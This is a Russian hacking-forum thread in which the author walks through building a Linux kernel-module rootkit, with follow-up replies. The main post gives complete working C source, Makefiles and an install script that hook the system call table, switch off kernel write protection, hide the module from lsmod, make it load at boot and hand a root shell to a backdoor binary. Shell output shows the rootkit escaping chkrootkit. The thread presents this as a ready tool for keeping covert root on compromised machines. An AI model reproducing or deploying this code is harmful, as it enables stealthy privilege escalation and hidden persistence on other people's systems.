Старый 04.02.2011, 14:58   #1
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию LKM rootkit в современных Linux

В этой статье мы научимся собирать LKM-rootkit под современные ядра Linux, не смотря на то, что многие пишут, что это неактуально.
Попробую опровергнуть это. В данной статье использованны вещи, доступные в паблике и некоторые мои наработки.


Руткиты подразделяют на ядерные (уровня ядра) и неядерные (пространства пользователя). Неядерные руткиты состоят из множества троянских версий исполняемых системных файлов: ls, ps, find, ifconfig, netstat, syslogd и т.п. После подмены системных программ и демонов троянскими версиями они не будут отображать хакерские процессы, файлы, установленные соединения и т.д.

В данной статье речь пойдет о ядерных руткитах. Страшно? Мне тоже было страшно, но, как оказалось, не так страшен черт, как его малютка

Ядерный руткит - он же LKM-rootkit (loadable kernel module, он же загружаемый модуль ядра, в котором, собственно, и лежит код нашего руткита).


В данной статье мы рассмотрим:

1. Мы научимся общаться с sys_call_table в современных ядрах (принцип работы прошлых руткитов (в основном под ядра 2.4) - подмена системных вызовов)
2. Мы научимся обходить защиту записи ядра и бит "защитного режима" CR0 регистра CPU [он же wp-bit] (т.е. то, что может нам помешать загрузить наш модуль).
3. Мы поймем принцип написания ядерного руткита
4. Мы напишем первый свой загружаемый ядерный модуль-руткит для ядра Linux.
5. Мы научимся прятать наш LKM-rootkit от lsmod и cat /proc/modules (что не позволит админу даже случайно обнаружить нас в системе).
6. Мы научимся ставить наш LKM-rootkit в автозагрузку, чтобы система была нашей в любой момент, когда нам это понадобится. (вряд ли тут оптимальный вариант, но вариант рабочий и, если задуматься, не самый плохой).
7. И даже (правда стандартный, но последней версии) chkrootkit ничего даже чуть-чуть подозрительного не сможет обнаружить.
8. Будет много теории, но бояться нечего, ибо даже мне было страшно, правда разве что страшно интересно (надеюсь будет интересно и вам).
9. Мы автоматизируем большую часть работы по внедрению руткита посредством .sh скрипта.
10. Все тесты будут производиться на:

Linux 2.6.31-22-generic #71-Ubuntu SMP Thu Jan 6 22:47:22 UTC 2011 i686 GNU/Linux

посмотрите на дату и скажите мне, что это неактуально.


Итак, понеслась.

1. Если вы попытаетесь выполнить руткит, написанный для ядер 2.4.* на ядре 2.6.*, то вы жестоко обломаетесь.
В ядрах 2.6.* sys_call_table больше не экспортируется и вы больше не сможете обратиться к ней напрямую. Более того - страницы памяти, где
проживает sys_table защищены от записи в современных ядрах. Поэтому такой способ больше не прокатит:

Код:
extern void *sys_call_table[];
...
sys_call_table[__NR_syscall] = pointer
Но тем не менее эта таблица по прежнему находится в памяти, поэтому, если мы узнаем адрес памяти sys_call_table, то мы сможем получить доступ к этой табличке. Есть несколько путей для того, чтобы узнать этот адрес, мы пойдем по простому пути:

1. Наберите в консоли:

~$ uname -a

Увидите примерно следующее (в моем случае):

Linux pashkela-desktop 2.6.31-22-generic #71-Ubuntu SMP Thu Jan 6 22:47:22 UTC 2011 i686 GNU/Linux

где нас интересует в основном 2.6.31-22-generic

дальше все просто: есть папка /boot, в ней есть файл /boot/System.map-2.6.31-22-generic, как видим, найти этот файл можно по uname -a (примечание: там может быть несколько похожих файлов, с предыдущими версиями ядер)

Этот файл - /boot/System.map-2.6.31-22-generic - создается каждый раз, когда комплируется ядро Linux. И он содержит все символы и их адреса, которые использует ядро. Соответственно у нас есть возможность их все просмотреть с помошью команды:

~$ cat /boot/System.map-2.6.31-22-generic
...
...
...
...

Но для наших целей нас интересует именно sys_call_table, поэтому делаем такой запрос:

~$ cat /boot/System.map-2.6.31-22-generic | grep sys_call_table

c057c150 R sys_call_table <---- И вот у нас есть адрес этой таблички ( у вас он может быть другой).

Но если мы обратим более пристальное внимание на вывод получившихся результатов c057c150 R sys_call_table , то мы увидим R, что означает, что данный адрес read-only. Действительно ядро позиционирует некоторые структуры в зоне памяти только в режиме read-only. Таким образом осуществляется их защита от намеренных или неумышленных изменений, которые могут привести к нестабильности системы.

Поэтому мы должны установить эту структуру в режим read/write, если мы хотим модифицировать её.

К счастью, ядро предоставляет нам специальные функции для этой задачи:

Код:
void (*pages_rw)(struct page *page, int numpages) =  (void *) 0xc012fbb0;
void (*pages_ro)(struct page *page, int numpages) =  (void *) 0xc012fe80;
Функция pages_rw устанавливает страницу памяти в режим write, адрес передается как аргумент.
Функция pages_ro устанавливает страницу памяти в режим read, адрес передается как аргумент.

Как видно, нам требуется виртуальный адрес страницы, чтобы использовать этот прием. Для решения этой задачи мы можем использовать функцию virt_to_page(), которая конвертирует
виртуальный адрес страницы памяти в соответствующую ему физическую страницу памяти, к которой уже есть доступ у ядра.

Чтобы использовать “pages_ *” функции, мы должны знать их адреса. Мы можем получить их из файла “System.map-[uname-a]”:

Код:
pashkela@pashkela-desktop:~$ cat /boot/System.map-2.6.31-22-generic | grep -e pages_rw -e pages_ro
c012a680 T set_pages_rw
c012a9a0 T set_pages_ro
Таким образом мы можем получить доступ к sys_call_table и модифицировать её таким образом:

Код:
...

unsigned long *syscall_table = (unsigned long *)0xc057c150; 

...

void (*pages_rw)(struct page *page, int numpages) =  (void *) 0xc012a680;
void (*pages_ro)(struct page *page, int numpages) =  (void *) 0xc012a9a0;

...

static int init(void)
{

    struct page *_sys_call_page;
    printk(KERN_ALERT "\nHIJACK INIT\n");

    _sys_call_page = virt_to_page(&syscall_table);

    pages_rw(_sys_call_page, 1);

    // now we can use the sys_call_table

    ...
}

Ну а теперь напишем наш модуль и скомпилируем его:

example.c

Код:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>

unsigned long *syscall_table = (unsigned long *)0xc057c150; /*  ~$ cat /boot/System.map-2.6.31-22-generic | grep sys_call_table */

void (*pages_rw)(struct page *page, int numpages) =  (void *) 0xc012a680;/*~$ cat /boot/System.map-2.6.31-22-generic | grep -e pages_rw -e pages_ro */
void (*pages_ro)(struct page *page, int numpages) =  (void *) 0xc012a9a0;/* ~$ cat /boot/System.map-2.6.31-22-generic | grep -e pages_rw -e pages_ro */

asmlinkage int (*original_write)(unsigned int, const char __user *, size_t);

asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) {

    // hijacked write

    printk(KERN_ALERT "WRITE HIJACKED");

    return (*original_write)(fd, buf, count);
}

static int init(void) {

    struct page *sys_call_page_temp;

    printk(KERN_ALERT "\nHIJACK INIT\n");

    sys_call_page_temp = virt_to_page(&syscall_table);
    pages_rw(sys_call_page_temp, 1);

    original_write = (void *)syscall_table[__NR_write];
    syscall_table[__NR_write] = new_write;  

    return 0;
}

static void exit(void) {

    struct page *sys_call_page_temp;

    sys_call_page_temp = virt_to_page(syscall_table);
    syscall_table[__NR_write] = original_write;
    pages_ro(sys_call_page_temp, 1);

    printk(KERN_ALERT "MODULE EXIT\n");

    return;
}

module_init(init);
module_exit(exit);
Makefile (чтобы скомпилировать всё это, компиляция LKM несколько отличается от компиляции обычного скрипта):

Код:
obj-m	:= example.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
Всё делаем из под рута, желательно всё в отдельной папке:


root@pashkela-desktop:/home/pashkela# cd Toolza/rootkit
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# make
make -C /lib/modules/2.6.31-22-generic/build SUBDIRS=/home/pashkela/Toolza/rootkit modules
make: *** /lib/modules/2.6.31-22-generic/build: Нет такого файла или каталога. Останов.
make: *** [default] Ошибка 2
root@pashkela-desktop:/home/pashkela/Toolza/rootkit#

как видим ошибка, не скомпилировалось. Почему? Потому что

KDIR := /lib/modules/$(shell uname -r)/build

указывает на файлик, который содержит информацию о том, где брать исходники ядра, для компиляции LKM. Т.е. нам нужны исходники ядра, для того, чтобы мы могли скомпилировать наш первый LKM. В данном случае файлик /lib/modules/2.6.31-22-generic/build является ссылкой на

/usr/src/linux-headers-2.6.31-22-generic

как установить исходники? Очень просто - либо скачать их и распаковать, либо так:

~$ sudo apt-get install linux-source linux-headers-`uname -r`

после этого все исходники нужного нам ядра будут находиться в папке /usr/src/

Установили исходники, опять компилим:

Код:
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# make
make -C /lib/modules/2.6.31-22-generic/build SUBDIRS=/home/pashkela/Toolza/rootkit modules
make[1]: Вход в каталог `/usr/src/linux-headers-2.6.31-22-generic'
  CC [M]  /home/pashkela/Toolza/rootkit/example.o
/home/pashkela/Toolza/rootkit/example.c: In function ‘init’:
/home/pashkela/Toolza/rootkit/example.c:39: warning: assignment makes integer from pointer without a cast
/home/pashkela/Toolza/rootkit/example.c: In function ‘exit’:
/home/pashkela/Toolza/rootkit/example.c:49: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/pashkela/Toolza/rootkit/example.mod.o
  LD [M]  /home/pashkela/Toolza/rootkit/example.ko
make[1]: Выход из каталога `/usr/src/linux-headers-2.6.31-22-generic'
MODPOST 1 modules - что и требовалось доказать (можете сразу посмотреть в свою папочку, где вы ставите эксперименты - там образовалась куча файлов, но нам нужен лишь один

example.ko

это и есть наш LKM (загружаемый модуль ядра, который мы только что скомпилировали)

Пробуем его загрузить:

Код:
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# insmod example.ko
Убито
Вот те раз, сказала бабушка). В чем же дело?

У некоторых CPU присутствует 0-bit контрольного регистра (CR), если он равен 1, то это значит, что protected mode (режим защиты) включен. Защитный режим появился в
Intel процессорах начиная с Intel 80286. Также его называют wp-bit. Мы можем проверить, поддерживает ли наш CPU такой вид защиты следующим образом:

Код:
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# cat /proc/cpuinfo | grep wp
wp		: yes
как видим да, сцуко. Будем обходить и это.

Описание CR0 регистра вы можете найти здесь:

http://en.wikipedia.org/wiki/Control_register#CR0

Цитата:
WP Write protect Determines whether the CPU can write to pages marked read-only
Если wp равен 1, то CPU в режиме write-protect, не равен 1 - в режиме read/write (что нам и нужно)

Поэтому ядро и убило нашу попытку загрузить наш example.ko

И, если мы установим этот бит в значение 0, то мы получим таки доступ к страницам памяти (включая sys_call_table) в режиме записи.

Само ядро предоставляет нам две функции, которые позволяют работать с cr0:

Код:
#define read_cr0 () (native_read_cr0 ())
#define write_cr0 (x) (native_write_cr0 (x))
Нативные функции read/write выглядят так:

Код:
static inline unsigned long native_read_cr0 (void)
{
         unsigned long val;
         asm volatile("movl %%cr0,%0\n\t" :"=r" (val));
         return val;
}

static inline void native_write_cr0 (unsigned long val)
{
         asm volatile("movl %0,%%cr0": :"r" (val));
}
Функция read_cr0 возвращает значение регистра CR0
Функция write_cr0 устанавливает бит регистра в значение, которое мы передаем как аргумент
Теперь мы можем влючать/отключать защитный режим следующим образом:

Код:
/* disable protected mode

   I perform a not operation to 0x10000 ( so I have 0x01111).
   Later I perform an AND operation between the current value
   of the CR0 register and 0x01111. So the WP bit is set to 0
   and the protected mode is disabled.

*/

write_cr0 (read_cr0 () & (~ 0x10000));

/* enable protected mode

   I perform an OR operation between the current value of
   the CR0 register and 0x10000. So the WP bit is set to 1
   and the protected mode is enabled.

*/

write_cr0 (read_cr0 () | 0x10000);
ну и наконец напишем наш новый LKM с обходом защитного режима:

example1.c

Код:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>

unsigned long *syscall_table = (unsigned long *)0xc057c150; /*  ~$ cat /boot/System.map-2.6.31-22-generic | grep sys_call_table */

asmlinkage int (*original_write)(unsigned int, const char __user *, size_t);

asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) {

    // hijacked write

    printk(KERN_ALERT "WRITE HIJACKED");

    return (*original_write)(fd, buf, count);
}

static int init(void) {

    printk(KERN_ALERT "\nHIJACK INIT\n");

    write_cr0 (read_cr0 () & (~ 0x10000));

    original_write = (void *)syscall_table[__NR_write];
    syscall_table[__NR_write] = new_write;  

    write_cr0 (read_cr0 () | 0x10000);

    return 0;
}

static void exit(void) {

    write_cr0 (read_cr0 () & (~ 0x10000));

    syscall_table[__NR_write] = original_write;  

    write_cr0 (read_cr0 () | 0x10000);

    printk(KERN_ALERT "MODULE EXIT\n");

    return;
}

module_init(init);
module_exit(exit);
Makefile:

Код:
obj-m	:= example1.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
проверяем:

Код:
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# make
make -C /lib/modules/2.6.31-22-generic/build SUBDIRS=/home/pashkela/Toolza/rootkit modules
make[1]: Вход в каталог `/usr/src/linux-headers-2.6.31-22-generic'
  CC [M]  /home/pashkela/Toolza/rootkit/example1.o
/home/pashkela/Toolza/rootkit/example1.c: In function ‘init’:
/home/pashkela/Toolza/rootkit/example1.c:33: warning: assignment makes integer from pointer without a cast
/home/pashkela/Toolza/rootkit/example1.c: In function ‘exit’:
/home/pashkela/Toolza/rootkit/example1.c:44: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/pashkela/Toolza/rootkit/example1.mod.o
  LD [M]  /home/pashkela/Toolza/rootkit/example1.ko
make[1]: Выход из каталога `/usr/src/linux-headers-2.6.31-22-generic'
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# insmod example1.ko  (не убился, ура)
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# lsmod (команда для просмотра списка загруженных модулей ядра)
Module                  Size  Used by
example1                1376  0  <---- вот он наш птенчик
...
...
...
Прокатило! Поздравляю, мы с вами собрали первый наш загружаемый модуль ядра

Но, мы видим его в списке (как и увидим его, если сделаем cat /proc/modules). А значит может увидеть и админ. Надо прятать. Приступим.

Сделаем это с помощью функции list_del_init():

Код:
static inline void list_del_init (struct list_head * entry)
{
	 __list_del (entry->prev, entry->next);
	 INIT_LIST_HEAD (entry);
}
где __list_de и INIT_LIST_HEAD представляют из себя следующее:

Код:
static inline void __list_del (struct list_head * prev, struct list_head * next)
{
	 next-> prev = prev;
	 prev-> next = next;
}

static inline void INIT_LIST_HEAD (struct list_head * list)
{
	 list-> next = list;
	 list-> prev = list;
}
Итак, функция list_del_init() удаляет имя нашего модуля из дважды пролинкованного списка, который управляет списком модулей(во как).
Таким образом lsmod и cat /proc/modules идут лесом.

Напишем тестовый LKM и удалим его из списка загруженных модулей:

example2.c

Код:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>

static int init(void) {

    list_del_init(&__this_module.list);

    return 0;
}

static void exit(void) {

    return;
}

module_init(init);
module_exit(exit);
Makefile:

Код:
obj-m	:= example2.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
Проверяем:

Код:
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# make
make -C /lib/modules/2.6.31-22-generic/build SUBDIRS=/home/pashkela/Toolza/rootkit modules
make[1]: Вход в каталог `/usr/src/linux-headers-2.6.31-22-generic'
  CC [M]  /home/pashkela/Toolza/rootkit/example2.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/pashkela/Toolza/rootkit/example2.mod.o
  LD [M]  /home/pashkela/Toolza/rootkit/example2.ko
make[1]: Выход из каталога `/usr/src/linux-headers-2.6.31-22-generic'
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# insmod example2.ko - загружаем модуль
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# lsmod |grep example1 - ищем в списке загруженных модулей example1
example1                1376  0 
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# lsmod |grep example2 - ищем в списке загруженных модулей example2
root@pashkela-desktop:/home/pashkela/Toolza/rootkit#
пусто, что и требовалось доказать.

Ну а теперь напишем боевой руткит, который будет перехватывать sys_call_table и запускать нам консоль с правами рута, если мы попытаемся
запустить бинарник, который запускает bash-консоль с RUID=3410 и EUID=0143.

Для этого нам потребуется перехватить системный вызов __NR_setreuid32 и проверить ruid и euid (чтобы рутами могли быть только мы, а не кто попало)

1. Чтобы не париться и не искать адрес sys_call_table ручками, отдадим эту задачу просто bash-скрипту:

Код:
#!/bin/bash

TABLE=$(grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}')
sed -i s/OLOLO/$TABLE/g ioc3410.c
скрипт заменяет OLOLO в файле ioc3410.c(тут будет исходник нашего руткита) на адресс sys_call_table (перед тем, как мы будем компилировать ioc3410.c)

Ну а после компиляции ioc3410.c мы поставим его в автозагрузку, потому что локально загружать модуль ядра может только рут ( insmod example2.ko - загружаем модуль)

Автозагрузка в Ubunte и Debian осуществляется так (пример):

1. Копируем наш модуль в папку /lib/modules/2.6.31-22-generic/kernel/drivers/misc (ну так вот мне захотелось )
2. Редактируем файл /etc/modules - данное файло отвечает за список загружаемых модулей ядра (LKM), которые загрузятся при старте системы

В других системах это /etc/modules.conf

чтобы внести туда наш модуль - достаточно просто вписать туда его имя с новой строки (без .ko)

Ну и в итоге, когда мы всё это склеиваем, то у нас получиться примерно следующее (не забывайте, всё делаем из под рута):

ioc3410.c:

Код:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>

unsigned long *syscall_table = (unsigned long *)0xOLOLO;
asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);
asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {
	struct cred *new;
	 if ((ruid == 3410) && (euid == 0143))	 {
		 printk(KERN_ALERT "[Correct] \n");
  			new = prepare_creds();
  			if ( new != NULL ) {
	  			new->uid = new->gid = 0;
				new->euid = new->egid = 0;
				new->suid = new->sgid = 0;
				new->fsuid = new->fsgid = 0;
				commit_creds(new);
			}
		 return orig_setreuid (0, 0);
	 }
	 return orig_setreuid (ruid, euid);
}
static int init(void) {
	printk(KERN_ALERT "\nHIJACK INIT\n");
	write_cr0 (read_cr0 () & (~ 0x10000));
	orig_setreuid = syscall_table [__NR_setreuid32];
	syscall_table [__NR_setreuid32] = new_setreuid;
        list_del_init(&__this_module.list);
	write_cr0 (read_cr0 () | 0x10000);
	return 0;
}
static void exit(void) {
	write_cr0 (read_cr0 () & (~ 0x10000));
	syscall_table[__NR_setreuid32] = orig_setreuid;
	write_cr0 (read_cr0 () | 0x10000);
	printk(KERN_ALERT "MODULE EXIT\n");
	return;
}
module_init(init);
module_exit(exit);
Makefile:

Код:
ifneq ($(KERNELRELEASE),)
obj-m	:= ioc3410.o

else
KDIR	:= /lib/modules/$(shell uname -r)/build
INST	:= $(DESTDIR)/lib/modules/$(shell uname -r)/
PWD	:= $(shell pwd)

default:
	$(MAKE) -C $(KDIR)  SUBDIRS=$(PWD) modules
install: default
	cp ioc3410.ko $(INST)/kernel/drivers/misc/
	depmod -a
uninstall:
	rm -f $(INST)/kernel/drivers/misc/ioc3410.ko
	depmod -a

endif
test.c:

Код:
#include <stdio.h>

int main () {

        setreuid (3410, 0143);
        system ("/bin/sh");

        return 0;
}

run.sh:

Код:
#!/bin/bash

TABLE=$(grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}')
sed -i s/OLOLO/$TABLE/g ioc3410.c
make
insmod ioc3410.ko
make install
modprobe ioc3410
echo "\nioc3410">>/etc/modules
и запускаем:

~root$ sh run.sh

Код:
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# sh run.sh
make -C /lib/modules/2.6.31-22-generic/build  SUBDIRS=/home/pashkela/Toolza/rootkit modules
make[1]: Вход в каталог `/usr/src/linux-headers-2.6.31-22-generic'
  CC [M]  /home/pashkela/Toolza/rootkit/ioc3410.o
/home/pashkela/Toolza/rootkit/ioc3410.c: In function ‘init’:
/home/pashkela/Toolza/rootkit/ioc3410.c:49: warning: assignment makes pointer from integer without a cast
/home/pashkela/Toolza/rootkit/ioc3410.c:50: warning: assignment makes integer from pointer without a cast
/home/pashkela/Toolza/rootkit/ioc3410.c: In function ‘exit’:
/home/pashkela/Toolza/rootkit/ioc3410.c:61: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/pashkela/Toolza/rootkit/ioc3410.mod.o
  LD [M]  /home/pashkela/Toolza/rootkit/ioc3410.ko
make[1]: Выход из каталога `/usr/src/linux-headers-2.6.31-22-generic'
make -C /lib/modules/2.6.31-22-generic/build  SUBDIRS=/home/pashkela/Toolza/rootkit modules
make[1]: Вход в каталог `/usr/src/linux-headers-2.6.31-22-generic'
  Building modules, stage 2.
  MODPOST 1 modules
make[1]: Выход из каталога `/usr/src/linux-headers-2.6.31-22-generic'
cp ioc3410.ko /lib/modules/2.6.31-22-generic//kernel/drivers/misc/
depmod -a
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# exit
exit
pashkela@pashkela-desktop:~$ gcc test.c -o test
gcc: test.c: Нет такого файла или каталога
gcc: no input files
pashkela@pashkela-desktop:~$ cd Toolza/rootkit
pashkela@pashkela-desktop:~/Toolza/rootkit$ gcc test.c -o test
pashkela@pashkela-desktop:~/Toolza/rootkit$ whoami
pashkela
pashkela@pashkela-desktop:~/Toolza/rootkit$ ./test
# id
uid=0(root) gid=0(root) группы=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(pashkela)
# whoami
root
#
Что и требовалось доказать. Будет работать и после перезагрузки системы. Бинарник (test.c) можно оставить, а можно удалять и загружать по мере надобности.
Всё, что нам нужно, чтобы стать рутом - веб-шел (ну или бекдор обычный).

Проверим систему с помощью утилиты для поиска руткитов chkrootkit, если её у вас в системе нет еще, то:

sudo apt-get -y install chkrootkit
sudo chkrootkit

Код:
root@pashkela-desktop:/home/pashkela# sudo chkrootkit
ROOTDIR is `/'
Checking `amd'...                                           not found
Checking `basename'...                                      not infected
Checking `biff'...                                          not found
Checking `chfn'...                                          not infected
Checking `chsh'...                                          not infected
Checking `cron'...                                          not infected
Checking `crontab'...                                       not infected
Checking `date'...                                          not infected
Checking `du'...                                            not infected
Checking `dirname'...                                       not infected
Checking `echo'...                                          not infected
Checking `egrep'...                                         not infected
Checking `env'...                                           not infected
Checking `find'...                                          not infected
Checking `fingerd'...                                       not found
Checking `gpm'...                                           not found
Checking `grep'...                                          not infected
Checking `hdparm'...                                        not infected
Checking `su'...                                            not infected
Checking `ifconfig'...                                      not infected
Checking `inetd'...                                         not infected
Checking `inetdconf'...                                     not infected
Checking `identd'...                                        not found
Checking `init'...                                          not infected
Checking `killall'...                                       not infected
Checking `ldsopreload'...                                   not infected
Checking `login'...                                         not infected
Checking `ls'...                                            not infected
Checking `lsof'...                                          not infected
Checking `mail'...                                          not infected
Checking `mingetty'...                                      not found
Checking `netstat'...                                       not infected
Checking `named'...                                         not infected
Checking `passwd'...                                        not infected
Checking `pidof'...                                         not infected
Checking `pop2'...                                          not found
Checking `pop3'...                                          not found
Checking `ps'...                                            not infected
Checking `pstree'...                                        not infected
Checking `rpcinfo'...                                       not infected
Checking `rlogind'...                                       not found
Checking `rshd'...                                          not found
Checking `slogin'...                                        not infected
Checking `sendmail'...                                      not infected
Checking `sshd'...                                          not infected
Checking `syslogd'...                                       not tested
Checking `tar'...                                           not infected
Checking `tcpd'...                                          not infected
Checking `tcpdump'...                                       not infected
Checking `top'...                                           not infected
Checking `telnetd'...                                       not found
Checking `timed'...                                         not found
Checking `traceroute'...                                    not found
Checking `vdir'...                                          not infected
Checking `w'...                                             not infected
Checking `write'...                                         not infected
Checking `aliens'...                                        no suspect files
Searching for sniffer's logs, it may take a while...        nothing found
Searching for rootkit HiDrootkit's default files...         nothing found
Searching for rootkit t0rn's default files...               nothing found
Searching for t0rn's v8 defaults...                         nothing found
Searching for rootkit Lion's default files...               nothing found
Searching for rootkit RSHA's default files...               nothing found
Searching for rootkit RH-Sharpe's default files...          nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while... 
/usr/lib/jvm/.java-6-sun.jinfo /usr/lib/jvm/java-6-sun-1.6.0.22/.systemPrefs /usr/lib/xulrunner-1.9.1.16/.autoreg /usr/lib/firefox-3.6.13/.autoreg /usr/lib/pymodules/python2.6/.path /usr/lib/pymodules/python2.6/PyQt4/uic/widget-plugins/.noinit /usr/lib/pymodules/python2.5/.path /usr/lib/pymodules/python2.5/PyQt4/uic/widget-plugins/.noinit

Searching for LPD Worm files and dirs...                    nothing found
Searching for Ramen Worm files and dirs...                  nothing found
Searching for Maniac files and dirs...                      nothing found
Searching for RK17 files and dirs...                        nothing found
Searching for Ducoci rootkit...                             nothing found
Searching for Adore Worm...                                 nothing found
Searching for ShitC Worm...                                 nothing found
Searching for Omega Worm...                                 nothing found
Searching for Sadmind/IIS Worm...                           nothing found
Searching for MonKit...                                     nothing found
Searching for Showtee...                                    nothing found
Searching for OpticKit...                                   nothing found
Searching for T.R.K...                                      nothing found
Searching for Mithra...                                     nothing found
Searching for LOC rootkit...                                nothing found
Searching for Romanian rootkit...                           nothing found
Searching for Suckit rootkit...                             nothing found
Searching for Volc rootkit...                               nothing found
Searching for Gold2 rootkit...                              nothing found
Searching for TC2 Worm default files and dirs...            nothing found
Searching for Anonoying rootkit default files and dirs...   nothing found
Searching for ZK rootkit default files and dirs...          nothing found
Searching for ShKit rootkit default files and dirs...       nothing found
Searching for AjaKit rootkit default files and dirs...      nothing found
Searching for zaRwT rootkit default files and dirs...       nothing found
Searching for Madalin rootkit default files...              nothing found
Searching for Fu rootkit default files...                   nothing found
Searching for ESRK rootkit default files...                 nothing found
Searching for rootedoor...                                  nothing found
Searching for ENYELKM rootkit default files...              nothing found
Searching for common ssh-scanners default files...          nothing found
Searching for anomalies in shell history files...           nothing found
Checking `asp'...                                           not infected
Checking `bindshell'...                                     not infected
Checking `lkm'...                                           chkproc: nothing detected
chkdirs: nothing detected
Checking `rexedcs'...                                       not found
Checking `sniffer'...                                       lo: not promisc and no packet sniffer sockets
Checking `w55808'...                                        not infected
Checking `wted'...                                          chkwtmp: nothing deleted
Checking `scalper'...                                       not infected
Checking `slapper'...                                       not infected
Checking `z2'...                                            chklastlog: nothing deleted
Чисто. Проверим, нет ли нас в списке модулей:

lsmod | grep ioc3410

Чисто. Недостатки:

1. Новый модуль в папке /lib/modules/2.6.31-22-generic/kernel/drivers/misc под названием ioc3410.ko
2. Новая строчка в файле /etc/modules - ioc3410

Исходники рабочего руткита прилагаются в архиве

have fun
Вложения
Тип файла: zip rootkit.zip (11.0 Кб, 526 просмотров)

Последний раз редактировалось Pashkela; 24.03.2013 в 16:48..
Pashkela вне форума   Ответить с цитированием
Старый 04.02.2011, 15:36   #2
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Гуд статья. Но стоит немного отшлифовать:
Цитата:
cat /boot/System.map-2.6.31-22-generic | grep sys_call_table
grep sys_call_table System.map-`uname -r`
Цитата:
Функция pages_rw устанавливает страницу памяти в режим read, адрес передается как аргумент.
pages_ro

ps: до конца еще не дочитал

upd: дочитал. Найс. Только есть ли смысл скрывать модуль из списка, если судя по /etc/modules модуль должен быть подгружен? Это выглядит подозрительней)
+ touch на модуль
__________________
Не оказываю никаких услуг.
I don't provide any services.

Последний раз редактировалось oRb; 04.02.2011 в 16:01..
oRb вне форума   Ответить с цитированием
Старый 04.02.2011, 17:12   #3
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Правильная ссылка, но там нет внедрения в автозагрузку и руткит, который написан тут:

http://memset.wordpress.com/2010/12/28/syscall-hijacking-simple-rootkit-kernel-2-6-x/

1. Не скрыт из списка загружаемых модулей
2. Показан только insmod имя_модуля (а как пользоваться, внедрять - не показано)

пример отсюда:

http://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/

с динамическим получением адреса sys_call_table у меня вообще не заработал, пришлось в общем всё совмещать и допиливать + sh-автоматизатор всего процесса

+ из первого поста:

Цитата:
В данной статье использованны вещи, доступные в паблике
а так да, никаких сверхоткрытий

т.е. смысл в том, что собрано всё воедино + автозагрузка

2 oRb:

ну в общем да)

Последний раз редактировалось Pashkela; 04.02.2011 в 17:17..
Pashkela вне форума   Ответить с цитированием
Старый 05.02.2011, 03:45   #4
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

По заявкам

- Теперь прячет любой файл от console (ls, ls -la & etc), webshell and krusader for example
- стелф мод в lsmod и /proc/modules теперь по выбору

Все настройки (какой файл спрятать и стелф мод) выставляются в строчках 21 и 22 файла ioc3430.c:

Код:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <linux/sched.h> 
#include <linux/kallsyms.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <asm/unistd.h>
#include <linux/file.h>

